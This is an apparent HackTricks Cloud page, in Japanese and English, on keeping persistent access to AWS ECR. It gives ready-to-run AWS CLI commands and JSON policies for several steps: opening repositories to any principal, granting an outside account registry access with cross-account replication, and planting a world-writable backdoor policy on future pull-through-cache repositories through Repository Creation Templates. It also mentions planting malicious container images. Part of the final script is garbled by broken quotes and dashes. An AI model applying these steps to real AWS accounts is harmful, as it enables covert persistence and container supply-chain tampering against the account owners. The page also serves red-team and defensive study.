AWS - ECR Persistence
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
ECR
詳細は次を参照:
隠された Docker Image(Malicious Code を含む)
攻撃者はupload a Docker image containing malicious codeをECR repositoryにアップロードし、ターゲットのAWSアカウントでpersistenceを維持するために利用する可能性があります。攻撃者はその後、悪意あるimageをAmazon ECSやEKSなどアカウント内の様々なサービスにステルスにdeployすることができます。
リポジトリポリシー
単一のリポジトリに対して、自分(または全員)にそのリポジトリへのアクセスを許可するポリシーを追加する:
aws ecr set-repository-policy \
--repository-name cluster-autoscaler \
--policy-text file:///tmp/my-policy.json
# With a .json such as
{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}
Warning
ECR は、ユーザーがレジストリに認証し、任意の Amazon ECR リポジトリからイメージを push または pull する前に、IAM ポリシーを通じて
ecr:GetAuthorizationTokenAPI を呼び出すための 権限 を持っている必要があることに注意してください。
レジストリポリシー & クロスアカウントレプリケーション
cross-account replication を構成することで、外部アカウントにレジストリを自動的にレプリケートすることが可能で、その際にはレプリケート先の 外部アカウントを指定 する必要があります。
.png)
まず、次のような レジストリポリシー を使って外部アカウントにレジストリへのアクセスを付与する必要があります:
aws ecr put-registry-policy --policy-text file://my-policy.json
# With a .json like:
{
"Sid": "asdasd",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::947247140022:root"
},
"Action": [
"ecr:CreateRepository",
"ecr:ReplicateImage"
],
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
}
次に、レプリケーション設定を適用します:
aws ecr put-replication-configuration \
--replication-configuration file://replication-settings.json \
--region us-west-2
# Having the .json a content such as:
{
"rules": [{
"destinations": [{
"region": "destination_region",
"registryId": "destination_accountId"
}],
"repositoryFilters": [{
"filter": "repository_prefix_name",
"filterType": "PREFIX_MATCH"
}]
}]
}
Repository Creation Templates (prefix backdoor for future repos)
ECR Repository Creation Templates を悪用して、制御されたプレフィックスの下で ECR が自動作成する任意のリポジトリに自動的に backdoor を仕込みます(例:Pull-Through Cache や Create-on-Push を介して)。これにより、既存のリポジトリに触れることなく将来のリポジトリに対する継続的な不正アクセスが得られます。
- 必要な権限: ecr:CreateRepositoryCreationTemplate, ecr:DescribeRepositoryCreationTemplates, ecr:UpdateRepositoryCreationTemplate, ecr:DeleteRepositoryCreationTemplate, ecr:SetRepositoryPolicy(テンプレートで使用), iam:PassRole(テンプレートにカスタムロールが添付されている場合)
- 影響: 対象プレフィックスの下で作成される新しいリポジトリは、攻撃者が制御するリポジトリポリシー(例:cross-account read/write)、タグの変更可否、スキャンのデフォルト設定を自動的に継承します。
Backdoor future PTC-created repos under a chosen prefix
```bash # Region REGION=us-east-11) Prepare permissive repository policy (example grants everyone RW)
cat > /tmp/repo_backdoor_policy.json <<‘JSON’ { “Version”: “2012-10-17”, “Statement”: [ { “Sid”: “BackdoorRW”, “Effect”: “Allow”, “Principal”: {“AWS”: “*”}, “Action”: [ “ecr:BatchCheckLayerAvailability”, “ecr:BatchGetImage”, “ecr:GetDownloadUrlForLayer”, “ecr:InitiateLayerUpload”, “ecr:UploadLayerPart”, “ecr:CompleteLayerUpload”, “ecr:PutImage” ] } ] } JSON
2) Create a Repository Creation Template for prefix “ptc2” applied to PULL_THROUGH_CACHE
aws ecr create-repository-creation-template –region $REGION –prefix ptc2 –applied-for PULL_THROUGH_CACHE –image-tag-mutability MUTABLE –repository-policy file:///tmp/repo_backdoor_policy.json
3) Create a Pull-Through Cache rule that will auto-create repos under that prefix
This example caches from Amazon ECR Public namespace “nginx”
aws ecr create-pull-through-cache-rule –region $REGION –ecr-repository-prefix ptc2 –upstream-registry ecr-public –upstream-registry-url public.ecr.aws –upstream-repository-prefix nginx
4) Trigger auto-creation by pulling a new path once (creates repo ptc2/nginx)
acct=$(aws sts get-caller-identity –query Account –output text) aws ecr get-login-password –region $REGION | docker login –username AWS –password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
docker pull ${acct}.dkr.ecr.${REGION}.amazonaws.com/ptc2/nginx:latest
5) Validate the backdoor policy was applied on the newly created repository
aws ecr get-repository-policy –region $REGION –repository-name ptc2/nginx –query policyText –output text | jq .
</details>
> [!TIP]
> AWSハッキングを学び、実践する:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCPハッキングを学び、実践する:<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azureハッキングを学び、実践する:<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricksをサポートする</summary>
>
> - [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
> - **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**をフォローしてください。**
> - **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
>
> </details>
HackTricks Cloud

